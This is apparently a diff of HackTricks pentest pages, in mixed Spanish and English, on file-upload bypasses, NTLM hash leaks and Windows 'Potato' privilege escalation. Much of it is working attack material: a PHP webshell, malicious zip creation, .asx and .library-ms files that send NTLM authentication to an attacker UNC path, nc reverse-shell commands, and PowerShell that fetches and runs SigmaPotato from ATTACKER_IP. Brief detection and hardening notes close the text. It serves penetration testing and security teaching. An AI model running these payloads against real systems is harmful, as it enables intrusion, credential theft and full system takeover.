Ten en cuenta que **otra opción** que podrías estar considerando para eludir esta comprobación es hacer que el **servidor HTTP redirija a un archivo distinto**, de modo que la URL inicial eluda la comprobación y entonces wget descargue el archivo redirigido con el nuevo nombre. Esto **no funcionará** **a menos que** wget se esté usando con el **parámetro** `--trust-server-names` porque **wget descargará la página redirigida con el nombre del archivo indicado en la URL original**.
Note that **another option** you may be thinking of to bypass this check is to make the **HTTP server redirect to a different file**, so the initial URL will bypass the check by then wget will download the redirected file with the new name. This **won't work** **unless** wget is being used with the **parameter** `--trust-server-names` because **wget will download the redirected page with the name of the file indicated in the original URL**.
### Escapar del directorio de uploads mediante NTFS junctions (Windows)
(For this attack you will need local access to the Windows machine) Cuando las uploads se almacenan en subcarpetas por usuario en Windows (por ejemplo, C:\Windows\Tasks\Uploads\<id>\) y controlas la creación/eliminación de esa subcarpeta, puedes reemplazarla por un directory junction que apunte a una ubicación sensible (por ejemplo, el webroot). Las uploads posteriores se escribirán en la ruta objetivo, permitiendo la ejecución de código si el objetivo interpreta código del lado del servidor.
Example flow to redirect uploads into XAMPP webroot:
```cmd
:: 1) Upload once to learn/confirm your per-user folder name (e.g., md5 of form fields)
:: Observe it on disk: C:\Windows\Tasks\Uploads\33d81ad509ef34a2635903babb285882
:: 2) Remove the created folder and create a junction to webroot
rmdir C:\Windows\Tasks\Uploads\33d81ad509ef34a2635903babb285882
cmd /c mklink /J C:\Windows\Tasks\Uploads\33d81ad509ef34a2635903babb285882 C:\xampp\htdocs
:: 3) Re-upload your payload; it lands under C:\xampp\htdocs
:: Minimal PHP webshell for testing
:: <?php echo shell_exec($_REQUEST['cmd']); ?>
:: 4) Trigger
curl "http://TARGET/shell.php?cmd=whoami"
```
Notas
- mklink /J crea una junction de directorio NTFS (punto de reparse). La cuenta del web server debe seguir la junction y tener permiso de escritura en el destino.
- Esto redirige escrituras arbitrarias de archivos; si el destino ejecuta scripts (PHP/ASP), esto se convierte en RCE.
- Defensas: no permitir que las raíces de upload escribibles sean controlables por el atacante bajo C:\Windows\Tasks o similar; bloquear la creación de junctions; validar extensiones server‑side; almacenar uploads en un volumen separado o con deny‑execute ACLs.
## Tools
- [Upload Bypass](https://github.com/sAjibuu/Upload_Bypass) es una herramienta potente diseñada para ayudar a Pentesters y Bug Hunters a probar mecanismos de file upload. Aprovecha varias técnicas de bug bounty para simplificar el proceso de identificar y explotar vulnerabilidades, garantizando evaluaciones exhaustivas de aplicaciones web.
- Upload Bypass is a powerful tool designed to assist Pentesters and Bug Hunters in testing file upload mechanisms. It leverages various bug bounty techniques to simplify the process of identifying and exploiting vulnerabilities, ensuring thorough assessments of web applications.
### Corrupting upload indices with snprintf quirks (historical)
Algunos handlers de upload legacy que usan `snprintf()` o similares para construir arrays multi-file a partir de una subida de un solo archivo pueden ser engañados para forjar la estructura `_FILES`. Debido a inconsistencias y truncamiento en el comportamiento de `snprintf()`, una subida única cuidadosamente construida puede aparecer como múltiples archivos indexados en el lado del servidor, confundiendo la lógica que asume una forma estricta (p. ej., tratándola como una subida multi-file y tomando ramas inseguras). Aunque hoy en día es un caso nicho, este patrón de “index corruption” reaparece ocasionalmente en CTFs y bases de código antiguas.
Algunos legacy upload handlers que usan `snprintf()` o funciones similares para construir arrays multi-file a partir de un single-file upload pueden ser engañados para forjar la estructura `_FILES`. Debido a inconsistencias y truncamiento en el comportamiento de `snprintf()`, una subida cuidadosamente creada puede aparecer como múltiples archivos indexados en el lado servidor, confundiendo lógica que asume una forma estricta (por ejemplo, tratándola como un multi-file upload y tomando ramas inseguras). Aunque es más raro hoy en día, este patrón de “index corruption” aparece de vez en cuando en CTFs y codebases antiguas.
## From File upload to other vulnerabilities
- Establece **filename** a `../../../tmp/lol.png` e intenta lograr un **path traversal**
- Establece **filename** a `sleep(10)-- -.jpg` y podrías lograr una **SQL injection**
- Establece **filename** a `<svg onload=alert(document.domain)>` para conseguir un XSS
- Establece **filename** a `; sleep 10;` para probar alguna command injection (más [command injections tricks here](../command-injection.md))
- Set **filename** to `../../../tmp/lol.png` and try to achieve a **path traversal**
- Set **filename** to `sleep(10)-- -.jpg` and you may be able to achieve a **SQL injection**
- Set **filename** to `<svg onload=alert(document.domain)>` to achieve a XSS
- Set **filename** to `; sleep 10;` to test some command injection (more [command injections tricks here](../command-injection.md))
- [**XSS** in image (svg) file upload](../xss-cross-site-scripting/index.html#xss-uploading-files-svg)
- **JS** file **upload** + **XSS** = [**Service Workers** exploitation](../xss-cross-site-scripting/index.html#xss-abusing-service-workers)
- [**XXE in svg upload**](../xxe-xee-xml-external-entity.md#svg-file-upload)
- [**Open Redirect** via uploading svg file](../open-redirect.md#open-redirect-uploading-svg-files)
- Prueba **different svg payloads** from [**https://github.com/allanlw/svg-cheatsheet**](https://github.com/allanlw/svg-cheatsheet)
- Try **different svg payloads** from [**https://github.com/allanlw/svg-cheatsheet**](https://github.com/allanlw/svg-cheatsheet)
- [Famous **ImageTrick** vulnerability](https://mukarramkhalid.com/imagemagick-imagetragick-exploit/)
- Si puedes **indicar al servidor web que obtenga una imagen desde una URL** podrías intentar abusar de un [SSRF](../ssrf-server-side-request-forgery/index.html). Si esta **imagen** va a ser **guardada** en algún sitio **público**, también podrías indicar una URL de [https://iplogger.org/invisible/] y **robar información de cada visitante**.
- If you can **indicate the web server to catch an image from a URL** you could try to abuse a [SSRF](../ssrf-server-side-request-forgery/index.html). If this **image** is going to be **saved** in some **public** site, you could also indicate a URL from [https://iplogger.org/invisible/](https://iplogger.org/invisible/) and **steal information of every visitor**.
- [**XXE and CORS** bypass with PDF-Adobe upload](pdf-upload-xxe-and-cors-bypass.md)
- PDFs especialmente creados para XSS: La [página siguiente presenta cómo **inject PDF data to obtain JS execution**](../xss-cross-site-scripting/pdf-injection.md). Si puedes subir PDFs podrías preparar algún PDF que ejecute JS arbitrario siguiendo las indicaciones dadas.
- Sube el contenido \[eicar]\([**https://secure.eicar.org/eicar.com.txt**](https://secure.eicar.org/eicar.com.txt)) para comprobar si el servidor tiene algún **antivirus**
- Comprueba si existe algún **límite de tamaño** al subir archivos
- Specially crafted PDFs to XSS: The [following page present how to **inject PDF data to obtain JS execution**](../xss-cross-site-scripting/pdf-injection.md). If you can upload PDFs you could prepare some PDF that will execute arbitrary JS following the given indications.
- Upload the \[eicar]\([**https://secure.eicar.org/eicar.com.txt**](https://secure.eicar.org/eicar.com.txt)) content to check if the server has any **antivirus**
- Check if there is any **size limit** uploading files
Aquí tienes una lista top 10 de cosas que puedes lograr subiendo archivos (from [here](https://twitter.com/SalahHasoneh1/status/1281274120395685889)):
Here’s a top 10 list of things that you can achieve by uploading (from [here](https://twitter.com/SalahHasoneh1/status/1281274120395685889)):
1. **ASP / ASPX / PHP5 / PHP / PHP3**: Webshell / RCE
2. **SVG**: Stored XSS / SSRF / XXE
@ -280,34 +304,34 @@ https://github.com/portswigger/upload-scanner
- **PNG**: `"\x89PNG\r\n\x1a\n\0\0\0\rIHDR\0\0\x03H\0\x s0\x03["`
- **JPG**: `"\xff\xd8\xff"`
Consulta [https://en.wikipedia.org/wiki/List_of_file_signatures](https://en.wikipedia.org/wiki/List_of_file_signatures) para otros tipos de archivo.
Refer to [https://en.wikipedia.org/wiki/List_of_file_signatures](https://en.wikipedia.org/wiki/List_of_file_signatures) for other filetypes.
## Zip/Tar File Automatically decompressed Upload
Si puedes subir un ZIP que se vaya a descomprimir dentro del servidor, puedes hacer 2 cosas:
If you can upload a ZIP that is going to be decompressed inside the server, you can do 2 things:
### Symlink
Sube un ZIP que contenga enlaces simbólicos a otros archivos; al acceder a los archivos descomprimidos accederás a los archivos enlazados:
Upload a link containing soft links to other files, then, accessing the decompressed files you will access the linked files:
```
ln -s ../../../index.php symindex.txt
zip --symlinks test.zip symindex.txt
tar -cvf test.tar symindex.txt
```
### Descomprimir en diferentes carpetas
### Descomprimir en carpetas distintas
La creación inesperada de archivos en directorios durante la descompresión es un problema importante. A pesar de las suposiciones iniciales de que esta configuración podría proteger contra la ejecución de comandos a nivel del sistema operativo mediante cargas de archivos maliciosos, el soporte de compresión jerárquica y las capacidades de directory traversal del formato de archivo ZIP pueden ser explotadas. Esto permite a los atacantes eludir restricciones y escapar de los directorios de carga seguros manipulando la funcionalidad de descompresión de la aplicación objetivo.
La creación inesperada de archivos en directorios durante la descompresión es un problema importante. A pesar de suposiciones iniciales de que esta configuración podría proteger contra la ejecución de comandos a nivel del sistema operativo mediante cargas de archivos maliciosos, el soporte de compresión jerárquica y las capacidades de directory traversal del formato de archivo ZIP pueden ser explotadas. Esto permite a los atacantes eludir restricciones y escapar de los upload directories seguros manipulando la funcionalidad de descompresión de la aplicación objetivo.
Un exploit automatizado para crear tales archivos está disponible en [**evilarc on GitHub**](https://github.com/ptoomey3/evilarc). La utilidad puede utilizarse como se muestra:
Un exploit automatizado para generar tales archivos está disponible en [**evilarc on GitHub**](https://github.com/ptoomey3/evilarc). La utilidad puede usarse como se muestra:
```python
# Listing available options
python2 evilarc.py -h
# Creating a malicious archive
python2 evilarc.py -o unix -d 5 -p /var/www/html/ rev.php
```
Además, la **symlink trick with evilarc** es una opción. Si el objetivo es apuntar a un archivo como `/flag.txt`, debe crearse un symlink a ese archivo en tu sistema. Esto asegura que evilarc no encuentre errores durante su operación.
Además, la **symlink trick with evilarc** es una opción. Si el objetivo es apuntar a un archivo como `/flag.txt`, debe crearse un symlink a ese archivo en su sistema. Esto asegura que evilarc no encuentre errores durante su operación.
A continuación hay un ejemplo de código Python usado para crear un archivo zip malicioso:
A continuación hay un ejemplo de código Python utilizado para crear un archivo zip malicioso:
```python
#!/usr/bin/python
import zipfile
@ -328,9 +352,9 @@ create_zip()
```
**Abusar de la compresión para file spraying**
Para más detalles **revisa la entrada original en**: [https://blog.silentsignal.eu/2014/01/31/file-upload-unzip/](https://blog.silentsignal.eu/2014/01/31/file-upload-unzip/)
Para más detalles **consulta la entrada original en**: [https://blog.silentsignal.eu/2014/01/31/file-upload-unzip/](https://blog.silentsignal.eu/2014/01/31/file-upload-unzip/)
1. **Creando un PHP Shell**: Se escribe código PHP para ejecutar comandos pasados a través de la variable `$_REQUEST`.
1. **Creación de un PHP Shell**: Se escribe código PHP para ejecutar comandos pasados a través de la variable `$_REQUEST`.
```php
<?php
@ -340,14 +364,14 @@ system($cmd);
}?>
```
2. **File Spraying y creación de archivo comprimido**: Se crean múltiples archivos y se ensambla un archivo zip que contiene estos archivos.
2. **File Spraying and Compressed File Creation**: Se crean múltiples archivos y se arma un archivo zip que contiene estos archivos.
```bash
root@s2crew:/tmp# for i in `seq 1 10`;do FILE=$FILE"xxA"; cp simple-backdoor.php $FILE"cmd.php";done
root@s2crew:/tmp# zip cmd.zip xx*.php
```
3. **Modificación con un hex editor o vi**: Se alteran los nombres de los archivos dentro del zip usando vi o un hex editor, cambiando "xxA" por "../" para recorrer directorios.
3. **Modificación con un editor hex o vi**: Los nombres de los archivos dentro del zip se alteran usando vi o un editor hex, cambiando "xxA" a "../" para recorrer directorios.
```bash
:set modifiable
@ -366,31 +390,31 @@ pop graphic-context
```
## Incrustar PHP Shell en PNG
Incrustar un PHP Shell en el chunk IDAT de un archivo PNG puede eludir eficazmente ciertas operaciones de procesamiento de imágenes. Las funciones `imagecopyresized` y `imagecopyresampled` de PHP-GD son especialmente relevantes en este contexto, ya que se usan comúnmente para redimensionar y resamplear imágenes, respectivamente. La capacidad del PHP Shell incrustado de permanecer intacto ante estas operaciones es una ventaja significativa para ciertos casos de uso.
Incrustar un PHP shell en el chunk IDAT de un archivo PNG puede eludir eficazmente ciertas operaciones de procesamiento de imágenes. Las funciones `imagecopyresized` y `imagecopyresampled` de PHP-GD son particularmente relevantes en este contexto, ya que se usan comúnmente para redimensionar y resamplear imágenes, respectivamente. La capacidad del PHP shell incrustado para permanecer sin verse afectado por estas operaciones es una ventaja significativa en ciertos casos de uso.
Una exploración detallada de esta técnica, incluyendo su metodología y posibles aplicaciones, se encuentra en el siguiente artículo: ["Encoding Web Shells in PNG IDAT chunks"](https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/). Este recurso ofrece una comprensión completa del proceso y sus implicaciones.
Una exploración detallada de esta técnica, incluida su metodología y posibles aplicaciones, se proporciona en el siguiente artículo: ["Encoding Web Shells in PNG IDAT chunks"](https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/). Este recurso ofrece una comprensión completa del proceso y sus implicaciones.
Más información en: [https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/](https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/)
More information in: [https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/](https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/)
## Archivos Polyglot
## Polyglot Files
Los archivos polyglot funcionan como una herramienta única en ciberseguridad, actuando como camaleones que pueden existir válidamente en múltiples formatos de archivo simultáneamente. Un ejemplo intrigante es un [GIFAR](https://en.wikipedia.org/wiki/Gifar), un híbrido que funciona tanto como GIF como archivo RAR. Estos archivos no se limitan a ese emparejamiento; combinaciones como GIF y JS o PPT y JS también son factibles.
Polyglot files sirven como una herramienta única en ciberseguridad, actuando como camaleones que pueden existir válidamente en múltiples formatos de archivo simultáneamente. Un ejemplo interesante es un [GIFAR](https://en.wikipedia.org/wiki/Gifar), un híbrido que funciona tanto como GIF como RAR. Estos archivos no se limitan a este emparejamiento; combinaciones como GIF y JS o PPT y JS también son factibles.
La utilidad principal de los archivos polyglot reside en su capacidad para eludir medidas de seguridad que filtran archivos según su tipo. Es práctica habitual en diversas aplicaciones permitir solo ciertos tipos de archivo para la subida—como JPEG, GIF o DOC—para mitigar el riesgo de formatos potencialmente dañinos (p. ej., JS, PHP o archivos Phar). Sin embargo, un polyglot, al ajustarse a los criterios estructurales de varios tipos de archivo, puede pasar sigilosamente estas restricciones.
La utilidad principal de los polyglot files radica en su capacidad para eludir medidas de seguridad que filtran archivos según su tipo. La práctica común en varias aplicaciones consiste en permitir solo ciertos tipos de archivo para upload—como JPEG, GIF, o DOC—para mitigar el riesgo que representan formatos potencialmente peligrosos (p. ej., JS, PHP, o Phar). Sin embargo, un polyglot, al ajustarse a los criterios estructurales de múltiples tipos de archivo, puede evadir sigilosamente estas restricciones.
A pesar de su adaptabilidad, los polyglots encuentran limitaciones. Por ejemplo, aunque un polyglot pueda encarnar simultáneamente un archivo PHAR (PHp ARchive) y un JPEG, el éxito de su subida podría depender de las políticas de extensión de archivo de la plataforma. Si el sistema es estricto con las extensiones permitidas, la mera dualidad estructural de un polyglot puede no ser suficiente para garantizar su subida.
A pesar de su adaptabilidad, los polyglots encuentran limitaciones. Por ejemplo, aunque un polyglot pueda encarnar simultáneamente un archivo PHAR (PHp ARchive) y un JPEG, el éxito de su upload podría depender de las políticas de extensión del sistema. Si la plataforma es estricta respecto a las extensiones permitidas, la mera dualidad estructural de un polyglot puede no ser suficiente para garantizar su upload.
Más información en: [https://medium.com/swlh/polyglot-files-a-hackers-best-friend-850bf812dd8a](https://medium.com/swlh/polyglot-files-a-hackers-best-friend-850bf812dd8a)
More information in: [https://medium.com/swlh/polyglot-files-a-hackers-best-friend-850bf812dd8a](https://medium.com/swlh/polyglot-files-a-hackers-best-friend-850bf812dd8a)
### Subir JSON válidos como si fueran PDF
### Upload valid JSONs like if it was PDF
Cómo evitar las detecciones de tipo de archivo subiendo un archivo JSON válido incluso si no está permitido, falsificando un archivo PDF (técnicas de **[this blog post](https://blog.doyensec.com/2025/01/09/cspt-file-upload.html)**):
Cómo evitar las detecciones de tipo de archivo subiendo un archivo JSON válido incluso si no está permitido haciendo pasar el archivo por un PDF (técnicas de **[this blog post](https://blog.doyensec.com/2025/01/09/cspt-file-upload.html)**):
- **`mmmagic` library**: Mientras los bytes mágicos `%PDF` estén en los primeros 1024 bytes, es válido (obtener ejemplo del post)
- **`pdflib` library**: Añadir un formato PDF falso dentro de un campo del JSON para que la librería piense que es un PDF (obtener ejemplo del post)
- **`file` binary**: Puede leer hasta 1048576 bytes de un archivo. Simplemente crea un JSON mayor que eso para que no pueda parsear el contenido como JSON y luego, dentro del JSON, pon la parte inicial de un PDF real y creerá que es un PDF
- **`mmmagic` library**: Mientras los bytes mágicos `%PDF` estén en los primeros 1024 bytes, es válido (obtén un ejemplo en el post)
- **`pdflib` library**: Añade un formato PDF falso dentro de un campo del JSON para que la librería crea que es un pdf (obtén un ejemplo en el post)
- **`file` binary**: Puede leer hasta 1048576 bytes de un archivo. Simplemente crea un JSON más grande que eso para que no pueda parsear el contenido como JSON y luego, dentro del JSON, coloca la parte inicial de un PDF real y pensará que es un PDF
## Referencias
## References
- [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Upload%20insecure%20files](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Upload%20insecure%20files)
- [https://github.com/modzero/mod0BurpUploadScanner](https://github.com/modzero/mod0BurpUploadScanner)
@ -406,5 +430,7 @@ Cómo evitar las detecciones de tipo de archivo subiendo un archivo JSON válido
- [CVE-2024-21546 – NVD entry](https://nvd.nist.gov/vuln/detail/CVE-2024-21546)
- [PoC gist for LFM .php. bypass](https://gist.github.com/ImHades101/338a06816ef97262ba632af9c78b78ca)
- [0xdf – HTB Environment (UniSharp LFM upload → PHP RCE)](https://0xdf.gitlab.io/2025/09/06/htb-environment.html)
- [HTB: Media — WMP NTLM leak → NTFS junction to webroot RCE → FullPowers + GodPotato to SYSTEM](https://0xdf.gitlab.io/2025/09/04/htb-media.html)
- [Microsoft – mklink (command reference)](https://learn.microsoft.com/windows-server/administration/windows-commands/mklink)
{{#include ../../banners/hacktricks-training.md}}

61
src/windows-hardening/ntlm/places-to-steal-ntlm-creds.md
View File

@ -2,6 +2,65 @@
{{#include ../../banners/hacktricks-training.md}}
**Consulta todas las grandes ideas de [https://osandamalith.com/2017/03/24/places-of-interest-in-stealing-netntlm-hashes/](https://osandamalith.com/2017/03/24/places-of-interest-in-stealing-netntlm-hashes/) desde la descarga de un archivo de microsoft word en línea hasta la fuente de filtraciones de ntlm: https://github.com/soufianetahiri/TeamsNTLMLeak/blob/main/README.md y [https://github.com/p0dalirius/windows-coerced-authentication-methods](https://github.com/p0dalirius/windows-coerced-authentication-methods)**
**Consulta todas las grandes ideas de [https://osandamalith.com/2017/03/24/places-of-interest-in-stealing-netntlm-hashes/](https://osandamalith.com/2017/03/24/places-of-interest-in-stealing-netntlm-hashes/) desde la descarga de un archivo Microsoft Word en línea hasta la fuente de NTLM leaks: https://github.com/soufianetahiri/TeamsNTLMLeak/blob/main/README.md y [https://github.com/p0dalirius/windows-coerced-authentication-methods](https://github.com/p0dalirius/windows-coerced-authentication-methods)**
### Listas de reproducción de Windows Media Player (.ASX/.WAX)
Si consigues que un objetivo abra o previsualice una lista de reproducción de Windows Media Player que controles, puedes leak Net‑NTLMv2 apuntando la entrada a una ruta UNC. WMP intentará recuperar el medio referenciado a través de SMB y se autenticará implícitamente.
Ejemplo de payload:
```xml
<asx version="3.0">
<title>Leak</title>
<entry>
<title></title>
<ref href="file://ATTACKER_IP\\share\\track.mp3" />
</entry>
</asx>
```
Flujo de recopilación y cracking:
```bash
# Capture the authentication
sudo Responder -I <iface>
# Crack the captured NetNTLMv2
hashcat hashes.txt /opt/SecLists/Passwords/Leaked-Databases/rockyou.txt
```
### .library-ms incrustado en ZIP NTLM leak (CVE-2025-24071/24055)
Windows Explorer maneja de forma insegura los archivos .library-ms cuando se abren directamente desde dentro de un archivo ZIP. Si la definición de la biblioteca apunta a una ruta UNC remota (p. ej., \\attacker\share), simplemente explorar/ejecutar el .library-ms dentro del ZIP hace que Explorer enumere la UNC y emita autenticación NTLM al atacante. Esto produce un NetNTLMv2 que puede romperse offline o potencialmente relayearse.
Ejemplo mínimo de .library-ms que apunta a un UNC del atacante
```xml
<?xml version="1.0" encoding="UTF-8"?>
<libraryDescription xmlns="http://schemas.microsoft.com/windows/2009/library">
<version>6</version>
<name>Company Documents</name>
<isLibraryPinned>false</isLibraryPinned>
<iconReference>shell32.dll,-235</iconReference>
<templateInfo>
<folderType>{7d49d726-3c21-4f05-99aa-fdc2c9474656}</folderType>
</templateInfo>
<searchConnectorDescriptionList>
<searchConnectorDescription>
<simpleLocation>
<url>\\10.10.14.2\share</url>
</simpleLocation>
</searchConnectorDescription>
</searchConnectorDescriptionList>
</libraryDescription>
```
Pasos operativos
- Crea el archivo .library-ms con el XML anterior (configura tu IP/hostname).
- Comprime el archivo (en Windows: Send to → Compressed (zipped) folder) y entrega el ZIP al objetivo.
- Inicia un NTLM capture listener y espera a que la víctima abra el .library-ms desde dentro del ZIP.
## Referencias
- [HTB Fluffy – ZIP .library‑ms auth leak (CVE‑2025‑24071/24055) → GenericWrite → AD CS ESC16 to DA (0xdf)](https://0xdf.gitlab.io/2025/09/20/htb-fluffy.html)
- [HTB: Media — WMP NTLM leak → NTFS junction to webroot RCE → FullPowers + GodPotato to SYSTEM](https://0xdf.gitlab.io/2025/09/04/htb-media.html)
- [Morphisec – 5 NTLM vulnerabilities: Unpatched privilege escalation threats in Microsoft](https://www.morphisec.com/blog/5-ntlm-vulnerabilities-unpatched-privilege-escalation-threats-in-microsoft/)
{{#include ../../banners/hacktricks-training.md}}

47
src/windows-hardening/windows-local-privilege-escalation/roguepotato-and-printspoofer.md
View File

@ -3,10 +3,10 @@
{{#include ../../banners/hacktricks-training.md}}
> [!WARNING]
> **JuicyPotato no funciona** en Windows Server 2019 y Windows 10 build 1809 en adelante. Sin embargo, [**PrintSpoofer**](https://github.com/itm4n/PrintSpoofer)**,** [**RoguePotato**](https://github.com/antonioCoco/RoguePotato)**,** [**SharpEfsPotato**](https://github.com/bugch3ck/SharpEfsPotato)**,** [**GodPotato**](https://github.com/BeichenDream/GodPotato)**,** [**EfsPotato**](https://github.com/zcgonvh/EfsPotato)**,** [**DCOMPotato**](https://github.com/zcgonvh/DCOMPotato)** pueden usarse para **aprovechar los mismos privilegios y obtener acceso a nivel `NT AUTHORITY\SYSTEM`**. Este [blog post](https://itm4n.github.io/printspoofer-abusing-impersonate-privileges/) profundiza en la herramienta `PrintSpoofer`, que puede usarse para abusar de impersonation privileges en hosts Windows 10 y Server 2019 donde JuicyPotato ya no funciona.
> **JuicyPotato no funciona** en Windows Server 2019 y Windows 10 build 1809 en adelante. Sin embargo, [**PrintSpoofer**](https://github.com/itm4n/PrintSpoofer)**,** [**RoguePotato**](https://github.com/antonioCoco/RoguePotato)**,** [**SharpEfsPotato**](https://github.com/bugch3ck/SharpEfsPotato)**,** [**GodPotato**](https://github.com/BeichenDream/GodPotato)**,** [**EfsPotato**](https://github.com/zcgonvh/EfsPotato)**,** [**DCOMPotato**](https://github.com/zcgonvh/DCOMPotato)** pueden usarse para **obtener los mismos privilegios y conseguir acceso a nivel `NT AUTHORITY\SYSTEM`**. Esta [entrada del blog](https://itm4n.github.io/printspoofer-abusing-impersonate-privileges/) profundiza en la herramienta `PrintSpoofer`, que puede usarse para abusar de los privilegios de impersonation en hosts Windows 10 y Server 2019 donde JuicyPotato ya no funciona.
> [!TIP]
> Una alternativa moderna, frecuentemente mantenida en 2024–2025, es SigmaPotato (un fork de GodPotato) que añade in-memory/.NET reflection usage y soporte extendido de OS. Consulta el uso rápido más abajo y el repo en References.
> Una alternativa moderna mantenida frecuentemente en 2024–2025 es SigmaPotato (un fork de GodPotato) que añade uso en memoria/.NET reflection y soporte de SO extendido. Ver uso rápido abajo y el repo en Referencias.
Related pages for background and manual techniques:
@ -22,23 +22,24 @@ from-high-integrity-to-system-with-name-pipes.md
privilege-escalation-abusing-tokens.md
{{#endref}}
## Requisitos y advertencias comunes
## Requisitos y consideraciones comunes
All the following techniques rely on abusing an impersonation-capable privileged service from a context holding either of these privileges:
Todas las siguientes técnicas dependen de abusar de un servicio privilegiado capaz de impersonation desde un contexto que tenga cualquiera de los siguientes privilegios:
- SeImpersonatePrivilege (most common) or SeAssignPrimaryTokenPrivilege
- High integrity is not required if the token already has SeImpersonatePrivilege (typical for many service accounts such as IIS AppPool, MSSQL, etc.)
- SeImpersonatePrivilege (el más común) o SeAssignPrimaryTokenPrivilege
- No se requiere alta integridad si el token ya tiene SeImpersonatePrivilege (típico para muchas cuentas de servicio como IIS AppPool, MSSQL, etc.)
Check privileges quickly:
Comprueba los privilegios rápidamente:
```cmd
whoami /priv | findstr /i impersonate
```
Notas operativas:
- PrintSpoofer necesita que el servicio Print Spooler esté en ejecución y accesible a través del endpoint RPC local (spoolss). En entornos reforzados donde Spooler está deshabilitado tras PrintNightmare, prefiera RoguePotato/GodPotato/DCOMPotato/EfsPotato.
- RoguePotato requiere un resolvedor OXID accesible en TCP/135. Si el egress está bloqueado, use un redirector/port-forwarder (ver ejemplo abajo). Las versiones antiguas necesitaban la opción -f.
- EfsPotato/SharpEfsPotato abusan de MS-EFSR; si una pipe está bloqueada, pruebe pipes alternativas (lsarpc, efsrpc, samr, lsass, netlogon).
- El error 0x6d3 durante RpcBindingSetAuthInfo típicamente indica un servicio de autenticación RPC desconocido/no soportado; pruebe una pipe/transport diferente o asegúrese de que el servicio objetivo esté en ejecución.
- Si tu shell se ejecuta bajo un token restringido que carece de SeImpersonatePrivilege (común para Local Service/Network Service en algunos contextos), restaura los privilegios predeterminados de la cuenta usando FullPowers, luego ejecuta un Potato. Ejemplo: `FullPowers.exe -c "cmd /c whoami /priv" -z`
- PrintSpoofer necesita que el servicio Print Spooler esté en ejecución y accesible a través del endpoint RPC local (spoolss). En entornos endurecidos donde Spooler está deshabilitado tras PrintNightmare, prefiere RoguePotato/GodPotato/DCOMPotato/EfsPotato.
- RoguePotato requiere un OXID resolver accesible en TCP/135. Si egress está bloqueado, usa un redirector/port-forwarder (ver ejemplo abajo). Las builds antiguas necesitaban el -f flag.
- EfsPotato/SharpEfsPotato abusan de MS-EFSR; si un pipe está bloqueado, prueba pipes alternativos (lsarpc, efsrpc, samr, lsass, netlogon).
- El error 0x6d3 durante RpcBindingSetAuthInfo normalmente indica un servicio de autenticación RPC desconocido/no soportado; prueba con otro pipe/transporte o asegura que el servicio objetivo esté en ejecución.
## Demostración rápida
@ -59,7 +60,7 @@ NULL
```
Notas:
- Puedes usar -i para spawn un proceso interactivo en la consola actual, o -c para ejecutar un one-liner.
- Requiere el servicio Spooler. Si está deshabilitado, esto fallará.
- Requiere Spooler service. Si está deshabilitado, esto fallará.
### RoguePotato
```bash
@ -67,7 +68,7 @@ c:\RoguePotato.exe -r 10.10.10.10 -c "c:\tools\nc.exe 10.10.10.10 443 -e cmd" -l
# In some old versions you need to use the "-f" param
c:\RoguePotato.exe -r 10.10.10.10 -c "c:\tools\nc.exe 10.10.10.10 443 -e cmd" -f 9999
```
Si el puerto 135 saliente está bloqueado, pivot the OXID resolver via socat en tu redirector:
Si el puerto saliente 135 está bloqueado, pivot the OXID resolver a través de socat en tu redirector:
```bash
# On attacker redirector (must listen on TCP/135 and forward to victim:9999)
socat tcp-listen:135,reuseaddr,fork tcp:VICTIM_IP:9999
@ -111,7 +112,7 @@ CVE-2021-36942 patch bypass (EfsRpcEncryptFileSrv method) + alternative pipes su
nt authority\system
```
Consejo: Si un pipe falla o EDR lo bloquea, prueba los otros pipes compatibles:
Consejo: Si un pipe falla o EDR lo bloquea, intenta con los otros pipes compatibles:
```text
EfsPotato <cmd> [pipe]
pipe -> lsarpc|efsrpc|samr|lsass|netlogon (default=lsarpc)
@ -129,7 +130,7 @@ Notas:
![image](https://github.com/user-attachments/assets/a3153095-e298-4a4b-ab23-b55513b60caa)
DCOMPotato proporciona dos variantes que apuntan a objetos DCOM de servicio que por defecto usan RPC_C_IMP_LEVEL_IMPERSONATE. Compila o usa los binaries proporcionados y ejecute su comando:
DCOMPotato proporciona dos variantes dirigidas a objetos DCOM de servicio que por defecto usan RPC_C_IMP_LEVEL_IMPERSONATE. Compila o usa los binaries proporcionados y ejecuta tu comando:
```cmd
# PrinterNotify variant
PrinterNotifyPotato.exe "cmd /c whoami"
@ -139,7 +140,7 @@ McpManagementPotato.exe "cmd /c whoami"
```
### SigmaPotato (fork actualizado de GodPotato)
SigmaPotato añade mejoras modernas, como in-memory execution vía .NET reflection y un PowerShell reverse shell helper.
SigmaPotato añade mejoras modernas como ejecución en memoria mediante .NET reflection y un PowerShell reverse shell helper.
```powershell
# Load and execute from memory (no disk touch)
[System.Reflection.Assembly]::Load((New-Object System.Net.WebClient).DownloadData("http://ATTACKER_IP/SigmaPotato.exe"))
@ -148,15 +149,15 @@ SigmaPotato añade mejoras modernas, como in-memory execution vía .NET reflecti
# Or ask it to spawn a PS reverse shell
[SigmaPotato]::Main(@("--revshell","ATTACKER_IP","4444"))
```
## Notas de detección y endurecimiento
## Notas de detección y hardening
- Supervisar procesos que crean named pipes y que llamen inmediatamente a APIs de duplicación de token seguidas de CreateProcessAsUser/CreateProcessWithTokenW. Sysmon puede mostrar telemetría útil: Event ID 1 (process creation), 17/18 (named pipe created/connected), y líneas de comando que lanzan procesos hijos como SYSTEM.
- Endurecimiento del Spooler: Deshabilitar el servicio Print Spooler en servidores donde no se necesite evita coerciones locales al estilo PrintSpoofer vía spoolss.
- Endurecimiento de cuentas de servicio: Minimizar la asignación de SeImpersonatePrivilege/SeAssignPrimaryTokenPrivilege a servicios personalizados. Considerar ejecutar servicios bajo cuentas virtuales con los mínimos privilegios requeridos y aislarlos con service SID y tokens con escritura restringida cuando sea posible.
